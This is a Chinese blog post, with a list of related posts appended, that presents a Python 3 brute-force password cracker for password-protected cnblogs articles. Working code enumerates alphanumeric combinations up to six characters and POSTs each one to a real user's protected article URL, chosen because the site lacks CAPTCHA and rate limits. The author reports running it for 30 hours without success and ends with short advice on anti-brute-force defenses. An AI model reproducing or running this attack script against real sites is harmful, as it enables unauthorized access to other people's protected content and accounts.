python密码破解工具_一个最简单的博客园文章密码暴力破解器-python3实现
一个最简单的博客园文章密码暴力破解器-python3实现
我之前想写路由器的密码暴力破解器,我手上只有极路由,发现极路由有安全限制,只能允许连续10密码错误,所以我改拿博客园练手。
博客园的博客有个功能是给博文设置一个密码,输入正确的密码才能看到文章的内容。经过测试发现这个密码验证功能,既没有验证码也没有提交频率的限制,
要写这个针对博客园的密码暴力破解器模型会非常简单,很好实现。
我之前没有写过这样的程序,也没有看过别人写这类功能的代码,就按我自己所理解的想法来写一个最简单的密码破解器,不要多线程,不要分布式,
这个程序会有这么两个部分:
1、我需要一个生成器,可以不停的生成所有可能的密码组合,比如生成a,b,c,aa,bb,cc,ab,ac...abc,cba...abcd...等等所有的密码组合。
2、我需要不停的提交密码,直到认为密码正确,记录密码,退出程序。
-_-!为什么使用生成器?
python2中range() 不是一个生成器,当你range(N),N为一个很大的数时...python就会爆炸!!!哈哈哈..
写细致的博客太消耗时间和心力,我这里不写具体的分析过程了,后面直接上代码,如果看不懂,查相关关键词就可以,毕竟基础教程性的文章和内容非常之多。
tqdm是一个python进度条库,requests是一个简单优雅的http库,
product是python3的标准库itertools下的函数,可以用生成 (a,b,c...) (c,b,a...)这样的序列,用''.join连接起来就得到了"abc"这样的一个密码。
代码如下:
"""
python3暴力穷举密码
2016年6月09日 04:39:25 codegay
"""
from time import strftime
from itertools import product
from time import sleep
from tqdm import tqdm
import requests
from requests import post
#密码生成器
def psgen(x=4):
iter = ['1234567890',
'abcdefghijklmnopqrstuvwxyz',
'ABCDEFGHIJKLMNOPQRSTUVWXYZ',
]
for r in iter:
for repeat in range(1,x+1):
for ps in product(r,repeat=repeat):
yield ''.join(ps)
def fx(url):
#把URL中的readauth字符删掉,替换成"http://www.cnblogs.com/muer/archive/2011/11/27/factualism.html"这样的格式,因为这个才POST的目标地址。
url = url.replace("/post/readauth?url=", "")
for ps in tqdm(psgen(6)):
try:
rs=post(url,data={'tb_password':ps},allow_redirects=1)
if rs.url == url: #如果提交密码后,返回的url得到为"http://www.cnblogs.com/muer/archive/2011/11/27/factualism.html"这样的形式,那么认为猜到正确的密码了。
with open("resut.csv","a+") as f:
f.write('密码破解成功结果为:,'+ ps + ',' + strftime("%c") + ',' + url+'\n')
break
except:
sleep(1)
pass
url='http://www.cnblogs.com/post/readauth?url=/muer/archive/2011/11/27/factualism.html'
fx(url)
最后,这个程序运行速度大约是每秒提交6次密码,我运行了30个小时,也不过是迭代几十万次,并没有能把密码破解出来,没有产生实质性的危害。
总结:
1、密码验证的地方适当增加一些防止暴力破解的手段。
2、仍然有必要使用复杂的密码提高安全度。虽然这样的一个简单的程序并没有什么卵用
python密码破解工具_一个最简单的博客园文章密码暴力破解器-python3实现相关推荐
- 一个最简单的博客园文章密码暴力破解器-python3实现
一个最简单的博客园文章密码暴力破解器-python3实现 我之前想写路由器的密码暴力破解器,我手上只有极路由,发现极路由有安全限制,只能允许连续10密码错误,所以我改拿博客园练手. 博客园的博客有个功 ...
- 一个可编辑与新增博客园文章的 Python 脚本
我的个人独立博客是基于 Hexo 搭建的,因为小站,Google 搜索引擎收录文章比较慢,还搜不到 很多人学习python,不知道从何学起. 很多人学习python,掌握了基本语法过后,不知道在哪里寻 ...
- 在线文本替换工具 、支持正则表达式(博客园文章里添加Javascript或<script>语句)
概况与介绍 在博客园发布一篇文章,文章就是<在线文本替换工具 .支持正则表达式>https://www.cnblogs.com/lsllll44/articles/15522697.htm ...
- python自动输入账号密码_Python如何基于selenium实现自动登录博客园
这篇文章主要介绍了Python如何基于selenium实现自动登录博客园,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友可以参考下 需要做的准备: 本文章是使用 ...
- Python爬虫小实践:爬取任意CSDN博客所有文章的文字内容(或可改写为保存其他的元素),间接增加博客访问量...
Python并不是我的主业,当初学Python主要是为了学爬虫,以为自己觉得能够从网上爬东西是一件非常神奇又是一件非常有用的事情,因为我们可以获取一些方面的数据或者其他的东西,反正各有用处. 这两天闲 ...
- 打造一个专注阅读的博客园主题
文章目录 效果展示 基本设置 代码高亮 页面定制 CSS 代码 博客侧边栏公告 页首 HTML代码 页脚 HTML 代码 页脚 HTML 代码中标签介绍(一定要看完!) silence.min.js ...
- [开源] 分享导出博客园文章成本地 Markdown 文件存储的工具
此文主要分享了如何将自己博客园的文章自动导出到 Markdown 文档进行存储,以便在本地进行归档管理,程序中也对文章的分类.tag.代码块以及文章中的图片进行了保存处理,以便上传到自己的图. 整理后 ...
- python中变量名字的第一个字符必须是_基础语法 - 小黑_9527 - 博客园
一.标识符 所谓的标识符就是对变量.常量.函数.类等对象起的名字. 必须说明的是Python语言在任何场景都要严格区分大小写的. 命名规则 1.第一个字符必须是字母中的字母或下划线"_&qu ...
- python网络爬虫进入(一)——简单的博客爬行动物
最近.对于图形微信公众号.互联网收集和阅读一些疯狂的-depth新闻和有趣,发人深思文本注释,并选择最佳的发表论文数篇了.但看着它的感觉是一个麻烦的一人死亡.寻找一个简单的解决方案的方法,看看你是否可 ...
最新文章
- Java 内存 关系_内存一致性 – 发生在Java之前的关系
- JAVA实现链表中倒数第K个节点问题(《剑指offer》)
- CNN 模型的参数(parameters)数量和浮点运算数量(FLOPs)是怎么计算的
- 【小白学PyTorch】13.EfficientNet详解及PyTorch实现
- Bind9的dns解析服务
- B. Sifid and Strange Subsequences
- idea端口占用解决记录
- 获得Class引用的三种方式?Class.forName()、getClass以及.class的使用
- entity framework使用技巧
- 华为云数据库内核专家为您揭秘:GaussDB(for MySQL)并行查询有多快?
- 【Python3网络爬虫开发实战】1.5.3-redis-py的安装
- Python -- reload 函数
- 微服务升级_SpringCloud Alibaba工作笔记0024---Nacos集群_以及持久化配置_架构说明
- macos sierra怎么升级到catalina_Mac os 下 Pyhon 库老是安装失败?
- 21. Magento 创建新闻模块(2)
- 《A Neural Layered Model for Nested Named Entity Recognition》
- 少儿计算机基础知识,学会这三个小知识,轻松入门少儿编程
- HBase数据结构与基本语法详解
- Kafka安装(windows)
- Silverlight游戏设计(Game Design):(十五)如果还有梦(完)